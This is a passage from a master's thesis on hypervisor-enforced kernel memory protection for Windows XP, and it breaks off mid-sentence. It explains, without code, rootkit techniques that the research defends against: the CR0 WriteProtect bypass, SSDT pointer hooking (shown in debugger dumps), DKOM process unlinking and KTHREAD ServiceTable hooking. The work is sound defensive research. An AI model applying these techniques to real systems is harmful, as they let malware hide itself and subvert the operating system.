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Abstract

A monolithic operating system (OS) - such as Windows or Linux - distinguish between execu-
ting in restricted user mode or privileged kernel mode. Third party device drivers and modules
are executing in kernel mode alongside the code of the OS, thus has direct access to memory,
hardware devices and execution state. Limitations in memory protection makes it possible to
modify any memory, including read-only. This is exploited by kernel malware to manipulate
the code and workflow of the OS. Security software such as integrity checkers, anti-virus and
host-firewalls attempt to mitigate this threat, but are also prone to subversion. It is arguably
impossible to implement effective security on a privilege level equal to the malicious code, and
implemented in the very environment to be protected.

Hardware virtualization indroduces a new privilege level superior to the OS. This technology
is designed to utilize ample computational resources by collocating several operating systems
on one physical machine. A hypervisor manage and monitor virtual machines by intercepting
privileged instructions and events. The idea behind this work is to leverage the hypervisor to
protect kernel memory in a way the OS itself is not able to.

This thesis investigates whether the hypervisor provides a suitable environment for preventing
unwanted memory modifications. Memory management, kernel attack surface and hardware-
assisted virtualization are addressed to enumerate protection limitations and opportunities. Ba-
sed on this, a set of techniques to prevent modification of memory in need of protection is
presented. The hypervisor is used to intercept and deny attempts to write to memory defined as
protected. A prototype of the proposed protection is demonstrated in a simulated attack scenario.
The malicious modification attempts are successfully prevented, thus protecting the kernel from
a known design vulnerability.

Keywords

Memory Protection, Malware Prevention, Kernel mode malware, Hardware-assisted virtualiza-
tion
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Sammendrag

(Abstract in Norwegian)

Monolittiske operativsystemer som Windows og Linux opererer med to privilegienivåer for ek-
sekvering av kode. Begrensede user mode eller priviligerte kernel mode. I arbeidsminnet i kjer-
nen finnes operativsystemkode side om side med ekstern kode for maskinvaredrivere og andre
tredjeparts moduler. Disse har direkte tilgang til minne, øvrig maskinvare og operativsystemets
tilstand. Svakheter i implementasjonen av minnetilgang og isolasjon muligjør modifikasjon av alt
arbeidsminne, også minne med kun lesetilgang. Dette kan utnyttes av ondsinnede kjernemodu-
ler for å manipulere tilstand og funksjonsflyt i operativsystemet. Sikkerhetsprogramvare som for
eksempel antivirus, host-brannmur og integritetssjekker forsøker å beskytte mot denne trusselen,
men er også utsatt for subversjon. Implementasjon av effektive sikkerhetsmekanismer på samme
privilegienivå, og i samme system, som trusselen man skal beskyttes mot er i beste fall vanskelig,
kanskje umulig.

Virtualisering av maskinvare er en relativt ny teknologi som introduserer et nytt privilegienivå
overordnet operativsystemets kernel mode. Denne teknologien er tiltenkt å utnytte et overskudd
av maskinkraft ved å konsolidere flere operativsystemer på en enkelt fysisk maskin. En hypervisor
kontrollerer og organiserer virtuelle maskiner ved å overta eksekvering ved priviligerte instruks-
joner eller spesielle hendelser. Konseptet denne oppgaven bygger på er å utnytte en hypervisor
til å beskytte operativsystemkjernens arbeidsminne, noe kjernen selv har begrensede muligheter
for å gjøre.

Masteroppgavens målsetning er å undersøke hvorvidt en hypervisor egner seg til å implemen-
tere beskyttelsesmekanismer mot uønskede minnemodifikasjoner. Minnehåndtering, operativsys-
temets angrepsflate og prosessor-støttet virtualisering blir innledningsvis introdusert. Basert på
denne teorien blir begrensninger og muligheter for minnebeskyttelse synliggjort. Et sett av bes-
kyttelsesmekanismer blir deretter foreslått. Hypervisoren benyttes til å avskjære og forhindre
forsøk på å modifisere minneområder som er merket for beskyttelse. En prototyp av mekanis-
mene er implementert og demonstrert i et simulert angrepsscenario. Et ondsinnet forsøk på å
manipulere kjernens funskjonsflyt ved bruk av en kjent angrepsteknikk kan forhindres.
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1 Introduction

1.1 Topic

This thesis investigates whether hardware virtualization provides a suitable platform for mitiga-
ting limitations in the way memory is protected in a commodity operating system (OS). Kernel
mode malware utilize techniques to bypass protection in order to manipulate the OS kernel. Sys-
tem files can be modified in run-time memory or while stored on disk. In this work focus is on
extending protection of runtime memory integrity, since file integrity has been addressed[39].
The aim of this work is to enforce the protection mechanisms which will help protect the kernel
against unwanted modifications.

1.2 Problem description

Be it business or leisure, computers and software play an integral role in facilitating communi-
cation and flow of information. Computer technology has always been associated with a certain
risk and vulnerability. This can partially be credited a design compromise in the OS between
rigid security and business-feasible solutions. Commodity operating systems of today - such as
Windows and Linux - use variants of a monolithic kernel architecture. The OS kernel and device
drivers run in a privileged mode, while applications run in a restricted mode, respectively ker-
nel mode and user mode[16]. A consequence of this architecture is that third party hardware
vendors have to write their own device drivers to be run in kernel mode. This implies that third
party code is given the same privilege level as the OS kernel.

The monolithic kernel architecture has been subject for criticism[51] mainly regarding the
fact that loaded kernel modules are able to crash the entire operating system. Thus, implicitly
making it unlikely to be able to implement effective kernel protection[47]. The problems revol-
ving around the varying quality and credulous privilege level of third party drivers is one that
will remain the way commodity operating systems are designed today. Alternative kernel archi-
tecture models address this problem (e.g. microkernels[51]), but are not really on the horizon
for commodity OS’es.

The inevitable need and ability to load third party code turns out to be an Achilles heel in
kernel security. This design feature is exploited as an attack vector for malicious kernel modules
to establish a foothold inside the kernel. Given unrestricted access, kernel mode malware can
subvert or intercept any kernel operation and may be considered the ultimate OS compromise.
Kernel mode malware have a privileged position and elusive nature. The detection of these has
proven to be a difficult, complex and resource demanding task[15]. Getting infected by malware
is something any ordinary computer user is able to[48]. In contrast, removal of a kernel malware
and sanitizing of the kernel can be very difficult, even for a seasoned security expert. The solution
is often a time consuming from-scratch reinstall of the OS and software.

The core of the problem in this work can be summarized as follows: Advanced malware
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continue to thrive due to a fundamental limitation in the way most defensive software (such as
anti-virus or host-firewalls) is implemented. It is arguably impossible to guarantee effective se-
curity with defensive measures on a privilege level equal to the malicious code and implemented
in the very environment that is to be monitored and protected.

1.3 Justification and motivation

Kernel mode malware holds a powerful position in the computer system. It has direct access to
computer hardware and may dictate the premises for regular applications running in user mode.
These applications handle confidential or private information, for instance credentials to ban-
king or other services. Malware residing in the kernel may manipulate, utilize or facilitate loss of
information, all in a fashion concealed from the person using the system. Security software exe-
cuting in either user or kernel mode have a limited ability to mitigate this threat, as the malware
is able to control the execution state.

A virtualized operating system is executing in a software-controllable environment, with the
potential for mitigating kernel mode malware. Hardware virtualization was originally created
to run many virtual machines on one physical machine, enabling better utilization of the ample
computing resources in modern hardware. Consolidation of machines has obvious resource cost
benefits, but virtualization also implies a new level of privilege. The virtual machine monitor
(VMM)[27], also known as the hypervisor, operates on a privilege level superior to the opera-
ting system inside a virtual machine. A sub-category of virtualization called hardware-assisted
virtualization enables the virtual machine to run unmodified commodity operating systems with
a transparent view of the underlying hardware. This technology has become publicly accessible
in recent years, mainly due to the advent of processor virtualization extensions[31].

Hardware virtualization technology has been found promising for enhancing security me-
chanisms. Several research projects utilize this, for instance in code integrity[24][45][59], data
protection[43][60], intrusion detection[4][13][36] and protection[6]. Among the new concepts
is the ability to monitor and intercept the execution state of the guest. Implementing mecha-
nisms through the hypervisor, one has the opportunity to enforce security restrictions in a way
the kernel itself is not able to.

Although this probably does not mean the end of kernel malware, it will improve kernel
security and significantly raise the bar on developing new malware techniques. It is possible that
the adaptation and extension of memory protection mechanisms to a hardware virtualization
context can provide an upper hand in what has turned out to become a cat and mouse game to
protect the kernel integrity. Considerable resources has been put into implementing protection
solutions like Microsoft’s PatchGuard[39]. This with varying degrees of success[47][49]. One
of the weaknesses in the concept behind PatchGuard is that the security mechanisms of the
protection is on the same privilege level as the code it is supposed to be restricting. This approach
may be improved by elevating the privilege level of the protection enforcement above the OS
kernel.

The key motivation behind this work can be summarized as follows: Modifying the archi-
tecture of the OS in order to improve kernel security is in many respects infeasible. Instead,

2
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virtualization technology may be used to obtain equivalent or improved levels of security.

1.4 Research questions

Three research questions are presented here, and addressed chronologically throughout this
work.

1. What are the limitations or deficiencies in x86 memory protection?

2. How does the protection limitations affect OS kernel security?

3. Can the hypervisor be utilized to mitigate the protection limitations, thus enforce memory pro-
tection?

Research question 3 may be considered the main research question. Based on this, a hypothe-
sis is presented:

Hypothesis A hypervisor has the ability to enforce memory protection by intercepting guest opera-
tion and thus prevent malicious kernel modifications.

1.5 Summary of claimed contributions

Our contributions suggests three approaches to address different memory protection limitations
of non-virtualized operating systems. A prototype is developed based on the Xen virtualization
solution[27] and the Ether framework[9]. The techniques address limitations in protecting both
writable and read-only memory. The protection techniques focus on memory regions meant to
be kept unmodified, such as code and control structures.

The thesis demonstrates the privileged position of the hypervisor used to implement security
mechanisms on behalf of the guest OS. The prototype is tested in a simulated attack scenario
where a malicious kernel modules attempt to manipulate kernel workflow is mitigated.

1.6 Choice of methods

The methods applied in the thesis is a combination of literature studies and laboratory experi-
ments. The literature studies serve as theoretical research to facilitate the appropriate techniques
for the experimental work. The laboratory work consists of experiment design and implementa-
tion to confirm the techniques of the theoretical contributions.

A significant part of the work behind this thesis has been the literature studies. Qualitative
research projects[23] need in-depth understanding of the topics, in this case memory protection
and hardware virtualization. This has been necessary to identify and acquire knowledge to ad-
dress the research question topics. First, memory management is examined to identify limitations
of memory protection. This is followed by a study in how these limitations can be maliciously
exploited. To put the protection limitations in a context an understanding of the attack surface of
an OS is needed. The core of this thesis is to evaluate whether hardware virtualization provide
the means to mitigate identified protection limitations. A literature study of processor implemen-
tation of virtualization[31] and hypervisor design[2] is necessary to utilize the potential in this
technology.

The idea is that, based on these literature studies, one would get a sound understanding
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of which memory regions the OS has limitedly protected. These regions would be in need of
a more in-depth and thorough protection scheme. Furthermore, an understanding hardware
virtualization in general and especially memory management in virtualization is necessary to
understand how the guest OS work-flow realistically can be controlled.

This approach will not be exhaustive, due to the numerous different kernel modification
techniques publicly available, not to mention techniques not public, but no less likely to exist.
A non-exhaustive approach implies limitations to the scope of which the proposed techniques
benefit. Never the less, an established subset of kernel modification techniques will provide the
insight necessary to continue the research in the virtualization context, potentially with a broader
scope of applicability. The attack surface of the OS kernel has been, and still is, a matter of
thorough research and elucidation[8][25][52]. Thus, a literature study was deemed sufficient
for the exploration of the need for protection.

Although the theoretical knowledge may be in place to nominate a hardware virtualization
approach, an experimental methodology is necessary and appropriate to demonstrate the vali-
dity of our claims. Therefore, the experiment design and implementation has been the core of
the thesis contributions. The work focuses on the use of hardware virtualization and the hy-
pervisor. Other comparable approaches exist, such as software virtualization[1] and hardware
emulation[3]. Hardware virtualization is chosen as it is considered to have an acceptable perfor-
mance penalty and the best features regarding virtualization artifacts and transparency. This is
important in order to facilitate a seamless and largely undetectable protection solution.

The outline of the experimental approach is to test a prototype of the proposed protection
mechanisms against publicly known kernel malware. The OS to protect will be the widespread
Windows XP. It is believed the protection concepts are likely to be applicable to most versions of
Windows, and possibly other monolithic kernels such as Linux. This is possible due to an ambition
to, as far as possible, refrain from depending on a semantic understanding of the protected OS.
The results of this experiment will provide the data necessary to establish whether the protection
mechanism was successful. This will in turn provide the knowledge to test our hypothesis as a
part of the concluding work.

1.7 Thesis outline

The thesis is divided into three main parts: (1) background and related research, (2) contribu-
tions and experiment and lastly (3) discussion, conclusions and further work. The background
in Chapter 2 presents and elaborates relevant topics. This includes memory management as
conducted by commodity operating systems. This is followed by sections on operating system
kernel design, security and attack surface. The last background section is on hardware virtua-
lization with focus on Intel’s VT implementation and the Xen hypervisor. Chapter 3 present a
summary of the state-of-the-art in related work and research. The contributions of the thesis are
elaborated in Chapter 4. A prototype based on the proposed techniques are demonstrated in an
experiment in Chapter 5. Chapter 6 contains discussions on experiment results and relevant vir-
tualization considerations. The conclusions of our work are presented in Chapter 7 followed by
further work in Chapter 8.
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2 Background

2.1 Memory management

Among the main tasks of any OS is managing memory used by the OS and its processes[50]. Ma-
naging memory is the organizing of memory physically and logically, as well as memory sharing,
protecting and relocating. A key property of memory management is the memory virtualization1.
Virtual memory is an abstraction of the physical memory. Each process has its own virtual me-
mory view. Reasons for virtualization of memory are several, among the most significant are the
following:

• The amount of physical memory (RAM) and size of disk swapping are varying from each
machine setup. Memory virtualization enables a uniform memory layout, size and view for
all processes. This enables the OS to handle memory independent of hardware setup.

• Individual processes can operate with individual/isolated memory ranges or shared memory
ranges.

• The abstraction layer introduces a platform for extended functionality in memory manage-
ment, such as protection and optimization in a fashion suitable to a given OS.

CPU
Memory

Management

Unit

Physical memory

Page 1

Page n

Page n-1

Page 3

Page 2

Translation

Lookaside

Buffer

virtual 

address

physical 

address

Figure 1: The hardware MMU

Memory management is handled by a memory management unit (MMU), illustrated in Fi-
gure 1. This is a hardware component interacting with the operation of the CPU. Several different
operating modes exist for different computer architectures. The focus of this thesis is the IA-32
architecture in an operating mode as used by Microsoft Windows.

1The use of the term virtualization in memory virtualization is not related to hardware or software virtualization later
addressed in the thesis.

5



Enforcing memory protection with hardware virtualization

Among MMU responsibilities is dividing the physical and virtual address space into equally
sized pages, and perform the address translation between virtual and physical memory. The
address translation can be done in two ways

1. Via an associative cache called the translation lookaside buffer (TLB)

2. Via the page tables by looking up a page table entry (PTE)

A page table lookup is less efficient than using the TLB, and is used when the TLB lacks a
given translation (referred to as a "TLB miss"). The TLB consists of the most recently used page
table entries.

2.1.1 Memory protection

The concepts of virtual memory and its management provide an opportunity to enforce access
restrictions and protection. Segmentation and paging are the two types of memory organizing.

Segmentation

A segment is a memory range with a set of permissions and a given size. The CPU provides
segment registers such as code-segment (CS), data-segment (DS) and stack-segment (SS). The
use of segmentation has for most purposes been superseded by paging.

Paged virtual memory

In paging the virtual memory is divided into equally sized pages. Among access restrictions a
page can be marked as accessible only to the kernel, or as read-only. A process can not access a
physical page that has not been mapped in its own page tables (without causing a page fault).
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2.1.2 Page tables

The translation of virtual to physical addresses is accounted in the page tables. Each process has
its own set of page tables, which is pointed to by the control register CR3. When a context switch
is performed from one executing process to another, the CR3 is updated in order to switch the
virtual address space of the processes. CR3 points to the base of the page directory as illustrated
in Figure 2.

...

Virtual address

/1
0

/1
0

/1
2

Page directory base registerCR3

Page (4 kb)

...

Page 1

Page 3

Page directory

PDE 1023

PDE 0

PDE 1

…

Page table

PTE 1023

PTE 0

PTE 1

…

directory index table index page offset

31  22 21      12 11   0

PDE n

PTE m

Figure 2: Page table lookup translating virtual address

The page directory is the first level of the page tables. Each entry in the page directory points
to the base of a page table. Each entry in the page table points to a page. The uppermost 10
bits of a virtual address is the index in the page directory. The following 10 bits is the index in
the page table. The last 12 bits is the address offset in the page. Each page directory consists of
1024 page directory entries (PDE). Each PDE point to a page table of 1024 page table entries
(PTE). Each page has the size 4 kilobytes. With this setup, the total amount of virtual memory is
4 gigabytes (232).

Figure 3 show how the memory of the kernel is shared between all processes. Half of the
page tables are per process and the other half a inter-process shared set of page tables for the
OS kernel. This is implemented by dividing the page directory tables in halves. The lower half
points to page tables belonging to the process and the upper half points to kernel page tables.

Page table entries

By using the powerful kernel debugger for Windows, kd[29], one can inspect the page table
entry of a given virtual address. The debugger extension !pte [virtual address] is used to provide
a comprehensive output explained in Figure 4. The page directory index and page table index
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Figure 3: Page tables of kernel space shared by all processes

is used in the lookup according to the illustration in Figure 2. This locates the page table entry,
which holds the page flags and the address of the page. The lower 12 bits (3 nibbles) of the
virtual address is the page offset. The page address and the page offset in combination gives the
physical memory address of the mapped virtual address.

kd> !pte 80501030
                    VA 80501030
PDE at C0602010             PTE at C0402808
contains 0000000000316163   contains 0000000000501121
pfn 316       -G-DA--KWEV   pfn 501       -G--A--KREV

Page flags

Page offset

Page directory 

index
Page table 

index

Page address

Figure 4: Print of page table entry lookup

In order to translate from virtual address to physical address, the following procedure can be
used:

1. Mask out the lower 12 bits (the page flags) of the PTE. This gives the address of the page.
00501121 ⇒ 00501000

2. The page offset is the lower 12 bits of the virtual address, 80501030. Combining the page
address and the page offset we get the physical address.
00501000 + 030 ⇒ 00501030
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Each page table entry (and page directory entry) has a set of properties implemented as a set
of flags in the lower 12 bits of the entry. The flags[39] are listed in Table 1. From the flags of the
page in Figure 4 it can be read that it is currently mapped in physical memory (V), and has been
accessed (A). It is inter-process (G) and readable (R) only in kernel mode (K).

Table 1: Flags of the Page Table Entry

Flag Name Description
V Valid Indicates if the page is currently present in physical memory.
W/R Write/Read Specifies the access mode restrictions. If unset the page is read-only, if

set the page is writable.
K/U Owner Specifies access privilege restrictions. If unset the page is accessible only

in kernel mode (CPL0), if set the page is accessible in user mode (CPL3)
and kernel mode.

T WriteThrough Indicates write-through caching policy.
N CacheDisable Indicates that page cannot be cached .
A Accessed When set the flag indicates that the page has been read or written to.
D Dirty Indicates that the page has been written to.
L Large Indicates a page larger than 4 Kb (in use with PSE).
G Global Indicates a global page, in order to be preserved in the TLB in a process

context switch. This is set for kernel pages.
C CopyOnWrite Indicates if copy-on-write is enabled.
E Executable Indicates if page is executable.

It is worth noting that the page tables are stored in the memory range above 0xC0000000,
which is in the kernel space of virtual memory. This implies that a process in user mode does not
have access to modify its own page tables.

Page faults

The amount of physical memory is commonly less than the virtual memory (2GB for each pro-
cess). This implies that not all virtual memory can be present in physical memory, but may for
instance be "paged out" to disk. Handling this discrepancy is a necessary trade-off in memory
management. When a page not present in physical memory is attempted accessed, a page fault
is issued by the MMU. In the same fashion, a page fault is issued when the CPU in user mode
attempts to access a page with is only accessible in kernel mode, or an attempt is made to write
to a read-only page.

A page fault handler in the OS trap and resolve page faults. This has two possible outcomes:

1. If the access to a non-present page is allowed, the page will be mapped to available physical
memory, and the page table entry in question is updated. The faulting CPU instruction will
then be executed again. The page translation is now found in the tables, and normal execution
continues.

2. If the restrictions by the access mode or privilege mode flags are violated, or the virtual
address is simply invalid, an exception (STATUS_ACCESS_VIOLATION) is raised. This is the
case when a user mode process tries to access kernel pages, or a write is attempted to a
read-only page.
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Limitations of paged memory protection

Three limitations in memory protection by the MMU has been identified. First, the fixed size of
each page (commonly 4 kilobytes) is usually not representative for the size of the items contained
in the page. A page may contain a set of different variables, objects and structures, with varying
sizes. These may each have individual protection requirements. Due to collocation with other
items with differing protection requirements, the lowest common protection level is used for a
given page. The discrepancy between the protection on a per-page level and per individual item
in memory on a byte-level is referred to as the "protection granularity gap"[56]. Optimal page
utilization has been chosen at the expense of protection granularity.

Secondly, the access mode protection flag of a page is possible to bypass. A page marked
as read-only one might assume is protected against writes. This, as you might have guessed, is
not quite the case. A malicious kernel module may bypass the protection leveraged by the page
flags by modifying the control register CR0. This register shown in Figure 5 contains system
control flags which control operating mode and states of the CPU[16]. One of the flags is named
WriteProtect2 and is located at bit 16. If this flag is unset and the CPU is in kernel mode, the CPU
is allowed to write to any page - even if the page is read-only.
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Figure 5: Control register CR0

A third technique[5] to bypass memory protection is to locate the physical address of a pro-
tected page. It is then possible to create a new virtual memory mapping pointing to the same
page, but with different protection flags. This technique will be elaborated in Section 4.5 prior
to proposed protective measures.

2The CR0.WriteProtect flag was introduced in the first Pentium processors. It was intended to facilitate and simplify
the use of copy-on-write when forking new processes. Windows does not modify this flag after it is enabled at boot.
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2.2 The operating system

The operating system serves as an abstraction layer between applications and an arbitrary hard-
ware setup[50]. The OS manages the computer resources and offer these to the applications via
a defined interface. The main component of the OS is the kernel. The key executive components
of the kernel is memory, process and thread management, security, I/O and networking. The ker-
nel is also responsible for handling interrupts and exceptions, scheduling and synchronization.
In addition to this, device drivers and a hardware abstraction layer (HAL) is part of the kernel as
an interface to underlying hardware. This chapter illuminates a selected subset of topics about
kernel design and implementation considered to be relevant for this thesis.

Computer hardware

Memory NIC CardCPU Hard Disk

Operating system               — System services

              — Memory and process

management

              — Device drivers

              — HAL

Applications

Figure 6: Operating system

2.2.1 Monolithic kernel architecture

The kernels of commodity operating systems such as Windows and Linux are designed with
a monolithic architecture model. This thesis will mainly focus on the widespread Windows NT3

kernel[39], which by Microsoft is referred to as a hybrid kernel4, a combination of the monolithic
and the micro-kernel architecture. By most practical standards the hybrid approach is largely si-
milar to the monolithic, especially regarding key aspects such as device drivers and inter-process
communication. For the sake of brevity, the Windows NT kernel is regarded as monolithic in this
thesis.

In a monolithic kernel all system components of the OS are located in kernel space and run
in kernel mode. This can be illustrated with the memory layout of the Windows NT kernel in
Figure 7. In the kernel memory range, from 0x80000000 to 0xFFFFFFFF, all key components are
located, including third party kernel modules. The kernel memory layout in Figure 7 corresponds
to the division of page directories in Figure 3.

3The name NT kernel indicates a link to the operating system named Windows NT. However this kernel has been used
and evolved in subsequent versions of Windows such as XP, Vista and 7.

4Microsoft use the term hybrid kernel for their NT kernel, utilizing concepts from both monolithic and micro-kernel
design. This is a somewhat controversial category and has by some been dismissed as a marketing quasi-category.
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Figure 7: Memory layout of the Windows NT kernel and user space (simplified)

Privilege levels

The monolithic kernel architecture operates with two privilege levels. The most privileged kernel
mode and the restricted user mode. The privilege level is maintained and enforced by the CPU
as current privilege level (CPL in the IA-32 processor architecture). The CPL is based on the
ring-model in Figure 8, consisting of four privilege levels ranging from ring 0 to ring 3, ring 0
being the most privileged. Only the most and least privileged CPLs is utilized in the monolithic
architecture, hence kernel mode is operating in ring 0 and user mode is in ring 3.

ring 3

user mode

ring 0

kernel 

mode

Figure 8: The monolithic kernel architecture in the ring model

User to kernel interface

The role of the OS kernel and its workflow can be illustrated through the interface and interaction
between user mode and kernel mode. In normal operation, user applications request services
and data from the kernel. The kernel is reachable from user mode through a set of interfaces
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between kernel and user mode. When context is switched from user mode to kernel mode, the
processor use the system registers in Figure 9 to locate the appropriate entry to kernel mode.
These registers are directed to dispatch tables of function pointers. These function pointers point
to the code of the functions requested by event or call in user mode. When the executable kernel
code is finished, operation is returned to user mode.

Interrupts Software interrupts are issued by running applications with the CPU instruction INT
n. The value n correlates to a defined interrupt type, and is the index in the interrupt
dispatch table (IDT). Interrupts are trapped and handled by the kernel which dispatches to
the appropriate software functions organized in the IDT.

System calls A set of exported kernel functions made reachable to user mode through a proces-
sor instruction named SYSENTER (or the older version INT 2E). When context is switched
after a system call the instruction pointer is set to the value of MSR.SYSENTER_EIP. The
SSDT contain pointers to all the supported system call functions. The call is dispatched and
handled by the given function. System calls can be used for opening files, listing directories,
creating processes and more.

IOCTL Device input/output control is a proprietary system call to reach device specific functions
and can be used to reach third party kernel modules.

IDTR

MSR.SYSENTER_EIP

INT 2E

Nt* ptr

System call function
KiSystemService

Interrupt handler

INT n Other interrupts

System registers Function pointers Executable code

SSDT

IDT

Figure 9: Interrupts and system calls (simplified)
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2.3 Malware

The term malware is in this thesis used according to the NIST5 definition in [28]:

Malware, also known as malicious code and malicious software, refers to a program that is
inserted into a system, usually covertly, with the intent of compromising the confidentiality,
integrity, or availability of the victim’s data, applications, or operating system or otherwise
annoying or disrupting the victim.

Malware classification

A classification model for malware was proposed by Rutkowska in [41], and has since been
widely adopted. This classification divides malware into four types, based on the nature of the
malware implementation and its system impact.

Type 0 Malware that utilize available libraries (API) and system functionality to accomplish
something malicious within the realms of expected OS behavior. The malware is typically
implemented as a stand-alone process, and does not modify the OS or other processes.
Examples of this type can be user mode key-loggers, trojan back-doors or mail-bots.

Type 1 Malware that modifies parts of the OS kernel or other processes that are designed to
be constant. Examples of this is malware that inject itself into libraries or processes, or
modifies the work-flow of the OS kernel, such as hooking rootkits.

Type 2 Malware that modify dynamic parts of the OS kernel or other processes (items that are
designed to be modified). Examples of this is malware that hide processes by modifying
lists (unlinking) or editing kernel objects.

Type 3 Malware that leaves the OS and its processes intact, but still is able to control and in-
tercept the work-flow. Examples of this is hardware virtualization malware which take
advantage of CPU support to reside between hardware and the running OS.

2.3.1 Kernel malware

Kernel malware can be defined as malicious software running with the highest privilege level, ha-
ving full access to memory, privileged CPU instructions and hardware interaction. This is clearly
a lucrative environment of execution, but kernel malware in the wild is relatively uncommon due
to the relative complexity of executing inside the kernel. Malware authors tend to settle with the
path of less resistance. Hence, if a task can be solved with unprivileged user mode code, this is
usually easier, faster and more reliable to implement, thus more common. This said, kernel mal-
ware poses a significant and current threat in computer security[8], both in targeted and generic
attack scenarios.

Kernel malware can usually be classified as type 1 or type 2 malware, depending on its tech-
niques and intrusiveness. Given that kernel malware runs at the highest privilege level, it may
access any sections of memory in the OS environment, from processes to other kernel modules
and services. Thus, kernel malware may alter the work-flow of system routines or modify or cor-
rupt any data. This ability is used by kernel rootkits to gain control of the OS in order to hide

5National Institute of Standards and Technology (NIST) is an agency of the U.S. Department of Commerce
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its own presence or the presence of other processes or objects to the unsuspecting user of the
computer. Kernel mode malware is often working in symbiosis with a user mode component.
This is mainly due to operations which are not feasible (or disproportionately complex) to do
without the help of services and libraries available in user mode. In other words, kernel malware
can be used to empower the threats of regular malware.

Kernel malware can usually be placed within the following categories of techniques:

• Redirecting work-flow by modifying pointers or dispatchers

• Patching executable code of system routines

• Modifying kernel objects and lists

• Filter device drivers

2.3.2 Type 1 malware in the kernel

Malware classified as type 1 modifies memory meant to remain unmodified runtime. Figure 10
illustrates modification of memory significant for the kernel workflow. This can be seen in corre-
lation with the unmodified workflow in Figure 9. Without going in detail on the illustrated hooks
in Figure 10, this serves as an illustration of how versatile and evasive hooking can be. Hooking
as a technique is in general also applicable to other comparable registers, pointer and code.

MSR.SYSENTER_EIP

Nt* ptr

System call function

KiSystemService

System registers Function pointers Executable code

SSDT

Nt* ptr

Fake SSDT
Hook ptr

Malicious function

Patched code

Figure 10: Malware (type 1) manipulating workflow for system calls

Detection of unwanted kernel modifications caused by kernel malware has been thoroughly
researched[19][57][14] and is motivated by a security industry trying to protect a system that
arguably is vulnerable by design. Detection in itself does not provide any means to prevent an
attack from occurring. Never the less, the understanding of the artifacts and properties of how
kernel malware impact the kernel will provide insight to how (and in what part of the system) it
will make sense to enforce protective measures. This is relevant to research question 2 regarding
how the kernel can maliciously be affected.
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Case study: Type 1 malware hooking the SSDT

To demonstrate the techniques and implementation of kernel malware a rootkit hooking a system
call is used as example. This malicious kernel module is also used in the experiment (Chapter
5), and its source code can be found in Appendix B.2. The technique used in this sample is to
replace a pointer in the SSDT (table role is described in Section 2.2.1). The pointer in the table
was originally pointing to the function to be dispatched in case of a QuerySystemInformation
system call. This function returns a list of information about the system state to user applications.
The pointer is replaced with the rootkits own hook function. Hooking describes the technique
of in-lining a given routine in a workflow. The hooking function will act as a filter and control
the returning values from the original dispatch function. The function QuerySystemInformation
is used by Task Manager to enumerate processes currently running. Hence, in this case, the hook
function is able to filter out (hide) processes which matches certain criteria.

ORIGINAL SSDT
Address   Pointer  Pointer symbol
805012d8  805b9696 nt!NtQuerySymbolicLinkObject
805012dc  8060b32c nt!NtQuerySystemEnvironmentValue
805012e0  8060b302 nt!NtSetSystemEnvironmentValueEx
805012e4  8060633e nt!NtQuerySystemInformation
805012e8  806081c0 nt!NtQuerySystemTime
805012ec  8060ba36 nt!NtQueryTimer
[...]

HOOKED SSDT
Address   Pointer  Pointer symbol
805012d8  805b9696 nt!NtQuerySymbolicLinkObject
805012dc  8060b32c nt!NtQuerySystemEnvironmentValue
805012e0  8060b302 nt!NtSetSystemEnvironmentValueEx
805012e4  f8bd0406 hideprocess!NewZwQuerySystemInformation
805012e8  806081c0 nt!NtQuerySystemTime
805012ec  8060ba36 nt!NtQueryTimer
[...]

Hook replace original 

pointer with the rootkit’s 

own funcion

Figure 11: System service dispatch table before and after rootkit hook

The hook is inserted by overwriting a pointer in the SSDT. The SSDT is not meant to be
modified, but the kernel malware has the privilege needed to modify this memory at will. A
section of the SSDT is dumped before and after the hook in Figure 11. The hooking function
named NewZwQuerySystemInformation is part of the kernel module named hideprocess.sys. It is
worth noting that system call functions usually reside in the memory of the ntoskrnl module,
with addresses in the 0x80XXXXXX range. The address of the replaced pointer (0xf8bd0406) is
clearly outside this range. The hook is therefore an anomaly, which may be detected by a kernel
malware scanner[14]. This kernel malware sample is within the type 1 category as it modifies a
part of the kernel which is designed to be static.

Although this technique is effective and relatively uncomplicated, it is regarded as a high level
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hook, which is easy to detect. This said, there are several other steps in the system call work-flow
susceptible to hooking with a similar malicious outcome.

2.3.3 Type 2 malware in the kernel

Kernel malware modifying dynamic memory and kernel structures is usually in one of two sub-
categories[5]:

Dynamic Kernel Object Modification DKOM. The malicious code modify the content of ker-
nel objects to alter token privileges or linked lists. An example of a DKOM technique is
unlinking an _EPROCESS entry in the linked list of currently running processes. This is
illustrated in Figure 12.

_EPROCESS
Unlinked

_EPROCESS
_EPROCESS_EPROCESS

Figure 12: Process hidden in process list by unlinking

Kernel Object Hooking KOH malware inserts hooks in dynamic kernel objects. For instance, a
less known SSDT hooking technique modifies dynamic kernel memory. Information about
each thread is stored in Thread Information Bl ocks. One of the elements in this structure
is a pointer to a _KTHREAD structure. At offset 0xE0 in _KTHREAD is a pointer called
ServiceTable. By installing a hook here, it is possible to point to a malicious copy of the
whole SSDT.

This type of malware has been shown to be detectable as well[19]. However, as this is me-
mory which is modified during normal kernel operation, a protection approach is significantly
more complex. It is likely that a semantic understanding of the kernel objects in question is ne-
cessary in order to apply any protective measures. Limitations in keeping an up-to-date semantic
understanding of dynamic kernel data may imply limitations in external protection applicability.

17



Enforcing memory protection with hardware virtualization

2.4 Kernel security

With the advent of 64-bit operating systems the kernel developers at Microsoft ceased an op-
portunity to restrict the rules for kernel code practice, without being trussed by the requirement
of legacy compatibility. In the recent 64-bit versions of the Windows NT kernel, Kernel Patch
Protection and Kernel Mode Code Signing has been introduced. The concept is to mandatorily
address some well known kernel security problems.

2.4.1 Kernel mode code signing

This feature requires all developers of kernel mode code to add a code signing certificate to their
modules. A software publishing certificate is contained in the resource section6 in the module file.
The certificate has to be rooted by a code signing authority such as VeriSign. Modules without
valid certificates will not pass the digital signature check, and generates a warning message to
the user. This also gives the certificate authority the possibility to revoke unwanted drivers.

Since all vendors are required to obtain a certificate from a certificate authority, malicious
coders are excluded by economical and legal means. However, this is not an airtight solution.
The cost of a code signing certificate is not really sufficient in keeping malicious developers
out of the equation. In 2007 the Australian company Linchpin Labs acquired a certificate and
released a tool called Atsiv. This tool was designed solely to bypass KMCS by distributing Linch-
pins certificate to any code developer[5]. This rouge certificate was later revoked by VeriSign.
If purchasing a certificate isn’t desirable, malicious coders can steal valid certificates[44] or use
exploitable signed drivers to gain kernel mode execution. In other words signed drivers goes
a long way in keeping malicious modules out of the kernel, but as long as there is exploitable
